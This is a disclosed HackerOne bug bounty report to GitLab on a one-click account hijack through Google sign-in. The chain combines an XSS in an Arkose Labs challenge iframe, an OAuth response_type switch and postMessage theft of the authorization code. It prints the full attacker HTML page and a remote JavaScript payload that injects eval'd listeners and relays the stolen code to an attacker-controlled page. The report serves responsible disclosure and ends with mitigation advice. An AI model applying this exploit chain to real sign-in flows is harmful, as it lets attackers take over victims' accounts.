1-click account hijack for anyone using Google sign-in with Gitlab, due to response-type switch + leaking to gitlab-api.arkoselabs.com that has XSS
HackerOne report #1566384 by fransrosen
on 2022-05-12, assigned to GitLab Team
:
Report | Attachments | How To Reproduce
Report
Hi,
Description
I've been researching new ways to steal OAuth codes and access-tokens using postMessage, and I found a way for me to steal the code and/or access-token from Google-sign-in on Gitlab.com allowing a full account hijack of the account in Gitlab.
The way it works is this:
- Attacker prepares a
state
-parameter in its own browser from the Google sign-in flow. This is needed also to make sure the login flow will fail for the victim. This is an important part on how we get the code. - Attacker makes a page for the victim. The page loads an iframe with
gitlab-api.arkoselabs.com
and runs javascript in it, thanks to a postMessage listener that can receive information about what javascript to load in it. - The javascript provided will create a link to Google sign-in for Gitlab, but tainted with the
state
-value that the attacker set. Also, theresponse_type
is modified fromcode
tocode,id_token
. This is the second important part why we can steal the code. Gitlab is wiping any?code=
-parameters from the URL if there's an error, but Gitlab will not wipe any fragment parts. And when Google gets bothcode
andid_token
as theresponse_type
, everything will be sent as a fragment, ie:url#state=x&code=y&id_token=z
instead of in a query string. The fragment data is still left when in the URL when there's an error, and is also passed down by postMessage togitlab-api.arkoselabs.com
withlocation.href
. - Victim clicks the link from the attacker page, will go through "sign-in with Google" for Gitlab, but with a
state
-parameter modified to the attacker's and theresponse_type
tocode,id_token
. This is to make sure the user ends up back on the sign-in page with a CSRF-error with the code still present in the fragment. This is the page where the challenge iframe shows up. - The sign-in page will initialize the challenge-box in an iframe if the user clicks anywhere on the page.
- The XSS on
gitlab-api.arkoselabs.com
in the first window, which has the same domain as the iframe, will be allowed to inject an onmessage-listener in the challenge iframe and steal the config sent by the main window by sending a message to "request config". The data received back includeslocation.href
that has the code in it.
Here's a video to show the flow, as you will see in the beginning - the attacker opens an incognito window to get a state for Google sign-in, the attacker then puts the state in to prepare the attacker-page that will render for the victim. The interactions after that are the ones the victim would do, basically just signing in. When the code shows up on the attacker's page later, that's where the attacker then takes over again and uses its incognito browser window to sign in as the victim:
And here's a link for testing, user needs to be signed out from Gitlab for it to work:
https://fransrosen.com/gitlab-hijack-efniofniond3iod.html
Technical details
Here's the HTML of the malicious page:
<html>
<style>pre { word-break: break-word; white-space: pre-wrap; }</style>
<body>
<div id="start">
Attacker, enter your state when trying to sign in to Google here:<br />
<input id="state">
<button onclick="launch()">Generate a victim page with attacker's state</button>
</div>
<div id="fr"></div>
<script>
var inj;
function launch() {
document.getElementById('fr').innerHTML = '<iframe id="b" name="b" src="https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html?state=' + encodeURIComponent(document.getElementById('state').value) + '" frameborder=0 style="width: 500px; height: 300px"></iframe>';
document.getElementById('start').innerHTML = '';
injectiframe()
}
window.onmessage = function(e) {
if (e.data === 'stopinject') {
console.log('frame injected');
clearInterval(inj)
}
if (e.data.indexOf('id_token') !== -1) {
payload = JSON.parse(e.data);
code = payload.siteData.location.href.split('#')[1].split('&id_token')[0].replace('state%3D', '');
document.getElementById('fr').innerHTML = 'We have the code + state from Google:<br /><pre>' + code + '</pre>';
}
}
function injectiframe() {
inj = setInterval(function() {
console.log('looking for frame...');
b.postMessage('{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://foo","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://foo","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}},"data":{"clientData":{},"selector":".js-arkose-labs-container-1","settings":{},"accessibilitySettings":{},"challengeApiUrl":"https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js?3","challengeApiDomain":"https://foo","challengeLoaderUrl":"https://gitlab-api.arkoselabs.com/fc/api/sri/","mode":"inline","publicKey":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","siteData":{"location":{"ancestorOrigins":{},"href":"https://gitlab.com/","origin":"https://gitlab.com","protocol":"https:","host":"gitlab.com","hostname":"gitlab.com","port":"","pathname":"/users/sign_in","search":"","hash":""}}},"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"config","type":"emit"}', '*');
}, 500);
}
</script>
</body>
</html>
What this page will do is:
- Ask the attacker to prepare the
state
-param from its own browser. This is to taint the victim's code with the state so that the attacker can then sign in.
- Load the
https://gitlab-api.arkoselabs.com/v2/12D76D4C-5EDF-4EB4-A84D-042C497A9610/enforcement.1055143c784efaba2cba6d6738e34724.html
into an iframe. It is not restricted to be framed in any way, anyone can load it. - Send a postMessage to the iframe. The vulnerable part is the
challengeApiUrl
where we can modify the URL for loading a javascript. - The javascript at
https://fransrosen.com/gitlab-hijack-frame-dsnion2doin2od.js
will load. It looks like this:
var b, x;
var state = location.href.substr(location.href.indexOf('state='));
document.body.innerHTML = '<a href="#" onclick="b=window.open(\'https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code%2cid_token&scope=email%20profile&state=' + state + '&flowName=GeneralOAuthFlow\');">Click here to hijack Google access-token from Gitlab</a>';
top.postMessage('stopinject', '*');
window.onmessage=function(e) { top.postMessage(e.data, '*'); b.close(); }
x = setInterval(function() {
if(b && b.frames[1]) {
b.frames[1].eval(
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
'top.postMessage(\'{"key":"12D76D4C-5EDF-4EB4-A84D-042C497A9610","message":"request config","type":"broadcast"}\',"*")'
)
clearInterval(x)
}
}, 1000);
- This javascript will render the "Click here"-link, it will ask the parent window to stop injecting by postMessage, and it will register a "proxy postMessage listener" so when the code is stolen from Gitlab.com, it will be sent to the attacker main window through this frame. It will also start an interval to check if the opened page (accounts.google.com in this case, which is the sign-in URL for Gitlab's Google-OAuth) has
frames[1]
, and if it finds it it will modify its DOM, add aonmessage
and then send a message to Gitlab's iframe's parent, which isgitlab.com
and ask for the config which is an existing feature of the challenge iframe solution that is used on the sign-in page of Gitlab. The config payload will includelocation.href
which contains thecode
taken from the fragment. As soon as it gets the message it will close Gitlab again. - The attacker's main window will listen for a postMessage containing
code
and will show the state+code in the window. The attacker could then use the state+code with its own flow instead and sign in as the user, since the code is related to thestate
of the attacker.
I've also added an example where I change the response_type
to token
instead, where I steal the access-token, but that one only gives you access to the email and profile in Google, but it works with the same principles:
gitlab-google-access-token.mp4
Mitigation
- You should make sure that the challenge-window restricts who can send messages to it, and preferrably also who can frame it.
- Make sure that no fragment-data in the URL is left on the error pages of the sign-in flow, to prevent it from leaking.
- Also make sure to audit the postMessage-listeners that are being used, especially the ones related to the sign-in flows.
Impact
Attacker can sign in as the victim. There's minimal interaction needed, only one click (and maybe another click if you count how the challenge iframe initiates on the error page).
This took quite some time to get built :) I hope you'll like it!
Regards,
Frans
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- gitlab-hijack.mp4
- gitlab-google-access-token.mp4
- Screen_Shot_2022-05-12_at_02.05.16.png
- Screen_Shot_2022-05-12_at_02.03.04.png
How To Reproduce
Please add reproducibility information to this section: